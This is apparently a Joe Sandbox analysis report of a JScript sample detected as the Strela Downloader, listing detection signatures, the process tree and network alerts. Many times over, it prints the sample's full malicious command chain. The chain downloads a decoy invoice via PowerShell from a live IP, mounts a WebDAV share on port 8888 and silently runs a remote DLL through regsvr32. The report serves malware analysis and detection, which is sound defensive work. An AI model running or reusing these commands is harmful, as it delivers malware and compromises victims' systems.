Edit tour

Windows Analysis Report
8058323181786520440.js

Overview

General Information

Sample name:	8058323181786520440.js
Analysis ID:	1588289
MD5:	ed686b56ddb70cbe00b594c66090f7b9
SHA1:	adc68679b45f6176645cb1cd257c281950180e13
SHA256:	5a349c2cb11e93728a781bb28cf2b06d674a3f06f97d0b65df8bfa90ad50cef8
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6096 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\8058323181786520440.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 4980 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3364 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6580 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 1852 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 1532 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 3596 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1544,i,2010928854098807199,9368982659521233868,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5368 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5244 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7120 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6096	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4980, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6580, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4980, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6580, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\8058323181786520440.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\8058323181786520440.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\8058323181786520440.js", ProcessId: 6096, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5244, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\8058323181786520440.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6096, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, ProcessId: 4980, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\8058323181786520440.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6096, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, ProcessId: 4980, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\8058323181786520440.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6096, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, ProcessId: 4980, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\8058323181786520440.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6096, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, ProcessId: 4980, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\8058323181786520440.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6096, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, ProcessId: 4980, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\8058323181786520440.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\8058323181786520440.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\8058323181786520440.js", ProcessId: 6096, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4980, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6580, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5368, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5244, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7120, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5368, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5244, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\8058323181786520440.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6096, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3167920523335.dll, ProcessId: 4980, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:35:11.337947+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:35:08.745594+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 8058323181786520440.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 8058323181786520440.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:35:08 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

